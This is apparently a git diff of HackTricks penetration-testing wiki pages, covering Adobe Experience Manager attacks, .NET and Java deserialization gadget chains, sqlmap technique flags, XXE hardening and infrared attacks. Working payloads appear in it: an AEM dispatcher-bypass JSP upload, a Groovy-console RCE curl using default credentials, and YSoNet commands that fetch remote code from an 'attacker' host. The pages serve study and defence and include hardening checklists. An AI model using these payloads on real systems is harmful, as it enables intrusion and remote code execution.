---
|
||||
|
||||
## Detection Cheat-Sheet (Pentesters)
|
||||
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||
| awk '/Ports/{print $2 " " $4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,9 +2,121 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Find vulnerabilities and missconfigurations with [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
||||
> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) is an enterprise CMS that runs on top of Apache Sling/Felix (OSGi) and a Java Content Repository (JCR).
|
||||
> From an attacker perspective AEM instances very often expose dangerous development endpoints, weak Dispatcher rules, default credentials and a long tail of CVEs that are patched every quarter.
|
||||
|
||||
The checklist below focuses on **externally reachable (unauth) attack surface** that keeps showing up in real engagements (2022-2025).
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
|
||||
Other quick indicators:
|
||||
* `/etc.clientlibs/` static path present (returns JS/CSS).
|
||||
* `/libs/granite/core/content/login.html` login page with the “Adobe Experience Manager” banner.
|
||||
* `</script><!--/* CQ */-->` comment at the bottom of HTML.
|
||||
|
||||
---
|
||||
|
||||
## 2. High-value unauthenticated endpoints
|
||||
|
||||
Path | What you get | Notes
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR nodes via **DefaultGetServlet** | Often blocked, but *Dispatcher bypass* (see below) works.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Leak of page tree, internal paths, user names.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix console | 403 by default; if exposed & creds found ⇒ bundle-upload RCE.
|
||||
`/crx/packmgr/index.jsp` | Package Manager | Allows authenticated content packages → JSP payload upload.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Console | If exposed → arbitrary Groovy / Java execution.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Audit logs | Information disclosure.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS vector.
|
||||
|
||||
### Dispatcher bypass trick
|
||||
Most production sites sit behind the *Dispatcher* (reverse-proxy). Its filter rules can be bypassed by appending an allowed static extension **after a semicolon or encoded newline**:
|
||||
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
A single request like above frequently discloses user profile nodes with email addresses. P-T Partners published good guidance on this weakness. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Common misconfigurations (still alive in 2025)
|
||||
|
||||
1. **Anonymous POST servlet** – `POST /.json` with `:operation=import` lets you plant new JCR nodes. Blocking `*.json` POST in the Dispatcher fixes it. 【】
|
||||
2. **World-readable user profiles** – default ACL grants `jcr:read` on `/home/users/**/profile/*` to everyone.
|
||||
3. **Default credentials** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** enabled ⇒ reflected XSS via `?debug=layout` (CVE-2016-7882, still found on legacy 6.4 installs).
|
||||
5. **Groovy Console exposed** – remote code execution by sending a Groovy script:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Recent vulnerabilities (service-pack cadence)
|
||||
|
||||
Quarter | CVE | Affected | Impact
|
||||
------- | --- | -------- | ------
|
||||
Dec 2024 | **CVE-2024-43711** | 6.5.21 and earlier | Improper input validation → **Arbitrary code execution** (requires low-priv auth). 【】
|
||||
Dec 2024 | CVE-2024-43724/26 | 6.5.21 and earlier | DOM / Stored XSS in Move Page Wizard. 【】
|
||||
Dec 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-based XSS via crafted URL. 【】
|
||||
Dec 2022 | CVE-2022-30683 | ≤ 6.5.13 | Crypto design flaw → secret decryption (needs low-priv creds). 【】
|
||||
|
||||
Always check the *APSB* bulletin matching the customer’s service-pack and request the latest **6.5.22** or *Cloud Service 2024.11*.
|
||||
|
||||
---
|
||||
|
||||
## 5. Exploitation snippets
|
||||
|
||||
### 5.1 RCE via dispatcher bypass + JSP upload
|
||||
If anonymous write is possible:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Now request `/content/evil.jsp` – the JSP runs with the AEM process user.
|
||||
|
||||
### 5.2 SSRF to RCE (historical < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` from **aem-hacker** automates the full chain. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Tooling
|
||||
|
||||
* **aem-hacker** – Swiss-army enumeration script, supports dispatcher bypass, SSRF detection, default-creds checks and more.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – recursively request `/_jcr_content.(json|html)` to discover hidden components.
|
||||
* **osgi-infect** – upload malicious OSGi bundle via `/system/console/bundles` if creds available.
|
||||
|
||||
---
|
||||
|
||||
## 7. Hardening checklist (for your report’s recommendations)
|
||||
|
||||
1. Keep instance on the **latest cumulative service pack** (as of Jul 2025: 6.5.22).
|
||||
2. Remove/rotate default accounts; enforce SSO/SAML.
|
||||
3. Tighten **Dispatcher filters** – deny `;`, encoded newlines, and `*.json` or `*.querybuilder.json` for anonymous users.
|
||||
4. Disable or protect consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) with IP allow-lists.
|
||||
5. Apply the *Anonymous Permission Hardening* package shipped by Adobe.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Security updates for Adobe Experience Manager (Dec 2024)”.
|
||||
* 0ang3el – aem-hacker tool (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -194,6 +194,53 @@ namespace DeserializationTests
|
||||
}
|
||||
```
|
||||
|
||||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
|
||||
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
|
||||
|
||||
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
|
||||
|
||||
### Building / Installing YSoNet
|
||||
|
||||
If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
|
||||
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
|
||||
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
|
||||
|
||||
### Detection & Hardening
|
||||
* **Detect** unexpected child processes of `w3wp.exe`, `PowerShell.exe`, or any process deserialising user-supplied data (e.g. `MessagePack`, `Json.NET`).
|
||||
* Enable and **enforce type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) whenever the legacy `BinaryFormatter` / `NetDataContractSerializer` cannot be removed.
|
||||
* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
|
||||
* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
|
||||
|
||||
## References
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -2,16 +2,26 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In this POST it's going to be explained an example using `java.io.Serializable`.
|
||||
In this POST it's going to be explained an example using `java.io.Serializable` **and why overriding `readObject()` can be extremely dangerous if the incoming stream is attacker-controlled**.
|
||||
|
||||
## Serializable
|
||||
|
||||
The Java `Serializable` interface (`java.io.Serializable` is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||||
The Java `Serializable` interface (`java.io.Serializable`) is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||||
|
||||
### Reminder: Which methods are implicitly invoked during deserialization?
|
||||
|
||||
1. `readObject()` – class-specific read logic (if implemented and *private*).
|
||||
2. `readResolve()` – can replace the deserialized object with another one.
|
||||
3. `validateObject()` – via `ObjectInputValidation` callbacks.
|
||||
4. `readExternal()` – for classes implementing `Externalizable`.
|
||||
5. Constructors are **not** executed – therefore gadget chains rely exclusively on the previous callbacks.
|
||||
|
||||
Any method in that chain that ends up invoking attacker-controlled data (command execution, JNDI lookups, reflection, etc.) turns the deserialization routine into an RCE gadget.
|
||||
|
||||
Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\
|
||||
In the example, the **readObject function** of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:**
|
||||
In the example, the **readObject** function of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:**
|
||||
|
||||
**The following example is from [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
|
||||
**The following example is from <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||||
|
||||
```java
|
||||
import java.io.Serializable;
|
||||
@ -84,11 +94,63 @@ public class TestDeserialization {
|
||||
}
|
||||
```
|
||||
|
||||
### Conclusion
|
||||
### Conclusion (classic scenario)
|
||||
|
||||
As you can see in this very basic example, the "vulnerability" here appears because the **readObject** function is **calling other vulnerable functions**.
|
||||
As you can see in this very basic example, the “vulnerability” here appears because the **readObject()** method is **calling other attacker-controlled code**. In real-world gadget chains, thousands of classes contained in external libraries (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, etc.) can be abused – the attacker only needs *one* reachable gadget to get code execution.
|
||||
|
||||
---
|
||||
|
||||
## 2023-2025: What’s new in Java deserialization attacks?
|
||||
|
||||
* 2023 – CVE-2023-34040: Spring-Kafka deserialization of error-record headers when `checkDeserExWhen*` flags are enabled allowed arbitrary gadget construction from attacker-published topics. Fixed in 3.0.10 / 2.9.11. ¹
|
||||
* 2023 – CVE-2023-36480: Aerospike Java client trusted-server assumption broken – malicious server replies contained serialized payloads that were deserialized by the client → RCE. ²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` user profile attribute parsing accepted `{#sb64}`-prefixed Base64 blobs and deserialized them despite a `RestrictedObjectInputStream`. Upgrade ≥ 4.0.0.
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (port 10880) accepted XML-encoded Java objects leading to RCE as root/SYSTEM.
|
||||
* 2024 – Multiple new gadget chains were added to ysoserial-plus(mod) including Hibernate5, TomcatEmbed, and SnakeYAML 2.x classes that bypass some old filters.
|
||||
|
||||
## Modern mitigations you should deploy
|
||||
|
||||
1. **JEP 290 / Serialization Filtering (Java 9+)**
|
||||
*Add an allow-list or deny-list of classes:*
|
||||
```bash
|
||||
# Accept only your DTOs and java.base, reject everything else
|
||||
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
|
||||
```
|
||||
Programmatic example:
|
||||
```java
|
||||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) Context-Specific Filter Factories** – use a `BinaryOperator<ObjectInputFilter>` to apply different filters per execution context (e.g., per RMI call, per message queue consumer).
|
||||
3. **Do not expose raw `ObjectInputStream` over the wire** – prefer JSON/Binary encodings without code execution semantics (Jackson after disabling `DefaultTyping`, Protobuf, Avro, etc.).
|
||||
4. **Defense-in-Depth limits** – Set maximum array length, depth, references:
|
||||
```bash
|
||||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||||
```
|
||||
5. **Continuous gadget scanning** – run tools such as `gadget-inspector` or `serialpwn-cli` in your CI to fail the build if a dangerous gadget becomes reachable.
|
||||
|
||||
## Updated tooling cheat-sheet (2024)
|
||||
|
||||
* `ysoserial-plus.jar` – community fork with > 130 gadget chains:
|
||||
```bash
|
||||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
```
|
||||
* `marshalsec` – still the reference for JNDI gadget generation (LDAP/RMI).
|
||||
* `gadget-probe` – fast black-box gadget discovery against network services.
|
||||
* `SerialSniffer` – JVMTI agent that prints every class read by `ObjectInputStream` (useful to craft filters).
|
||||
* **Detection tip** – enable `-Djdk.serialDebug=true` (JDK 22+) to log filter decisions and rejected classes.
|
||||
|
||||
## Quick checklist for secure `readObject()` implementations
|
||||
|
||||
1. Make the method `private` and add the `@Serial` annotation (helps static analysis).
|
||||
2. Never call user-supplied methods or perform I/O in the method – only read fields.
|
||||
3. If validation is needed, perform it **after** deserialization, outside of `readObject()`.
|
||||
4. Prefer implementing `Externalizable` and do explicit field reads instead of default serialization.
|
||||
5. Register a hardened `ObjectInputFilter` even for internal services (compromise-resilient design).
|
||||
|
||||
## References
|
||||
|
||||
1. Spring Security Advisory – CVE-2023-34040 Java Deserialization in Spring-Kafka (Aug 2023)
|
||||
2. GitHub Security Lab – GHSL-2023-044: Unsafe Deserialization in Aerospike Java Client (Jul 2023)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -23,6 +23,26 @@
|
||||
--proxy=PROXY
|
||||
```
|
||||
|
||||
### Technique flags (`--technique`)
|
||||
|
||||
The `--technique` argument defines which SQL injection methods sqlmap will attempt.
|
||||
Each character in the string represents a technique:
|
||||
|
||||
| Letter | Technique | Description |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Uses true/false conditions to infer data |
|
||||
| E | Error-based | Leverages verbose DBMS error messages to exfiltrate results |
|
||||
| U | UNION query | Injects `UNION SELECT` statements to fetch data via the same channel |
|
||||
| S | Stacked queries | Adds additional statements separated by `;` |
|
||||
| T | Time-based blind | Relies on delays (`SLEEP`, `WAITFOR`) to detect injection |
|
||||
| Q | Inline / out-of-band | Uses functions such as `LOAD_FILE()` or OOB channels like DNS |
|
||||
|
||||
Default order is `BEUSTQ`. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
```
|
||||
|
||||
### Retrieve Information
|
||||
|
||||
#### Internal
|
||||
@ -192,6 +212,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
|
||||
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -25,6 +25,27 @@
|
||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||
```
|
||||
|
||||
### Technique flags (`--technique`)
|
||||
|
||||
The `--technique` option lets you restrict or reorder the SQL injection techniques sqlmap will test.
|
||||
Each letter corresponds to a different class of payloads:
|
||||
|
||||
| Letter | Technique | Description |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Uses true/false conditions in the page response to infer results |
|
||||
| E | Error-based | Leverages verbose DBMS error messages to extract data |
|
||||
| U | UNION query | Injects `UNION SELECT` statements to fetch data via the same channel |
|
||||
| S | Stacked queries | Appends extra statements separated by a SQL delimiter (`;`) |
|
||||
| T | Time-based blind | Relies on `SLEEP/WAITFOR` delays to detect injectable conditions |
|
||||
| Q | Inline / out-of-band | Utilises functions such as `LOAD_FILE()` or DNS exfiltration to extract data |
|
||||
|
||||
The default order that sqlmap will follow is `BEUSTQ` (all techniques).
|
||||
You can change both the order and the subset. For instance, the following command will **only** attempt UNION query and Time-based blind techniques, trying UNION first:
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
```
|
||||
|
||||
### Retrieve Information
|
||||
|
||||
#### Internal
|
||||
@ -228,6 +249,9 @@ Remember that **you can create your own tamper in python** and it's very simple.
|
||||
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
|
||||
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -832,8 +832,45 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
* Disable `load_dtd` and/or `resolve_entities` unless absolutely required.
|
||||
* Avoid returning raw parser errors to the client.
|
||||
|
||||
### Java DocumentBuilderFactory hardening example
|
||||
|
||||
Java applications frequently parse XML using `DocumentBuilderFactory`. By default the factory **allows external entity resolution**, making it vulnerable to XXE and SSRF if no additional hardening flags are set:
|
||||
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
```
|
||||
|
||||
Secure configuration example:
|
||||
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
|
||||
// Completely forbid any DOCTYPE declarations (best-effort defence)
|
||||
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||
|
||||
// Disable expansion of external entities
|
||||
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
|
||||
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
||||
|
||||
// Enable "secure processing" which applies additional limits
|
||||
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
|
||||
|
||||
// Defensive extras
|
||||
dbf.setXIncludeAware(false);
|
||||
dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
|
||||
If the application must support DTDs internally, keep `disallow-doctype-decl` disabled but **always** leave the two `external-*-entities` features set to `false`. The combination prevents classical file-disclosure payloads (`file:///etc/passwd`) as well as network-based SSRF vectors (`http://169.254.169.254/…`, `jar:` protocol, etc.).
|
||||
|
||||
Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used the vulnerable constructor shown above. An unauthenticated attacker could supply a crafted XML body to the `CreateBucketConfiguration` endpoint and have the server embed local files (for example `/etc/passwd`) in the HTTP response.
|
||||
|
||||
## References
|
||||
|
||||
- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
|
@ -66,7 +66,9 @@ For **logic "0" and "1"** NEC uses Pulse Distance Encoding: first, a pulse burst
|
||||
Unlike other remotes, **air conditioners do not transmit just the code of the pressed button**. They also **transmit all the information** when a button is pressed to assure that the **air conditioned machine and the remote are synchronised**.\
|
||||
This will avoid that a machine set as 20ºC is increased to 21ºC with one remote, and then when another remote, which still has the temperature as 20ºC, is used to increase more the temperature, it will "increase" it to 21ºC (and not to 22ºC thinking it's in 21ºC).
|
||||
|
||||
### Attacks
|
||||
---
|
||||
|
||||
## Attacks & Offensive Research <a href="#attacks" id="attacks"></a>
|
||||
|
||||
You can attack Infrared with Flipper Zero:
|
||||
|
||||
@ -74,11 +76,66 @@ You can attack Infrared with Flipper Zero:
|
||||
flipper-zero/fz-infrared.md
|
||||
{{#endref}}
|
||||
|
||||
### Smart-TV / Set-top Box Takeover (EvilScreen)
|
||||
|
||||
Recent academic work (EvilScreen, 2022) demonstrated that **multi-channel remotes that combine Infrared with Bluetooth or Wi-Fi can be abused to fully hijack modern smart-TVs**. The attack chains high-privilege IR service codes together with authenticated Bluetooth packets, bypassing channel-isolation and allowing arbitrary app launches, microphone activation, or factory-reset without physical access. Eight mainstream TVs from different vendors — including a Samsung model claiming ISO/IEC 27001 compliance — were confirmed vulnerable. Mitigation requires vendor firmware fixes or completely disabling unused IR receivers.
|
||||
|
||||
### Air-Gapped Data Exfiltration via IR LEDs (aIR-Jumper family)
|
||||
|
||||
Security cameras, routers or even malicious USB sticks often include **night-vision IR LEDs**. Research shows malware can modulate these LEDs (<10–20 kbit/s with simple OOK) to **exfiltrate secrets through walls and windows** to an external camera placed tens of metres away. Because the light is outside the visible spectrum, operators rarely notice. Counter-measures:
|
||||
|
||||
* Physically shield or remove IR LEDs in sensitive areas
|
||||
* Monitor camera LED duty-cycle and firmware integrity
|
||||
* Deploy IR-cut filters on windows and surveillance cameras
|
||||
|
||||
An attacker can also use strong IR projectors to **infiltrate** commands into the network by flashing data back to insecure cameras.
|
||||
|
||||
### Long-Range Brute-Force & Extended Protocols with Flipper Zero 1.0
|
||||
|
||||
Firmware 1.0 (September 2024) added **dozens of extra IR protocols and optional external amplifier modules**. Combined with the universal-remote brute-force mode, a Flipper can disable or reconfigure most public TVs/ACs from up to 30 m using a high-power diode.
|
||||
|
||||
---
|
||||
|
||||
## Tooling & Practical Examples <a href="#tooling" id="tooling"></a>
|
||||
|
||||
### Hardware
|
||||
|
||||
* **Flipper Zero** – portable transceiver with learning, replay and dictionary-bruteforce modes (see above).
|
||||
* **Arduino / ESP32** + IR LED / TSOP38xx receiver – cheap DIY analyser/transmitter. Combine with the `Arduino-IRremote` library (v4.x supports >40 protocols).
|
||||
* **Logic analysers** (Saleae/FX2) – capture raw timings when protocol is unknown.
|
||||
* **Smartphones with IR-blaster** (e.g., Xiaomi) – quick field test but limited range.
|
||||
|
||||
### Software
|
||||
|
||||
* **`Arduino-IRremote`** – actively-maintained C++ library:
|
||||
```cpp
|
||||
#include <IRremote.hpp>
|
||||
IRsend sender;
|
||||
void setup(){ sender.begin(); }
|
||||
void loop(){
|
||||
sender.sendNEC(0x20DF10EF, 32); // Samsung TV Power
|
||||
delay(5000);
|
||||
}
|
||||
```
|
||||
* **IRscrutinizer / AnalysIR** – GUI decoders that import raw captures and auto-identify protocol + generate Pronto/Arduino code.
|
||||
* **LIRC / ir-keytable (Linux)** – receive and inject IR from the command line:
|
||||
```bash
|
||||
sudo ir-keytable -p nec,rc5 -t # live-dump decoded scancodes
|
||||
irsend SEND_ONCE samsung KEY_POWER
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Defensive Measures <a href="#defense" id="defense"></a>
|
||||
|
||||
* Disable or cover IR receivers on devices deployed in public spaces when not required.
|
||||
* Enforce *pairing* or cryptographic checks between smart-TVs and remotes; isolate privileged “service” codes.
|
||||
* Deploy IR-cut filters or continuous-wave detectors around classified areas to break optical covert channels.
|
||||
* Monitor firmware integrity of cameras/IoT appliances that expose controllable IR LEDs.
|
||||
|
||||
## References
|
||||
|
||||
- [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
- [Flipper Zero Infrared blog post](https://blog.flipperzero.one/infrared/)
|
||||
- EvilScreen: Smart TV hijacking via remote control mimicry (arXiv 2210.03014)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -0,0 +1,120 @@
|
||||
# Active Directory Web Services (ADWS) Enumeration & Stealth Collection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is ADWS?
|
||||
|
||||
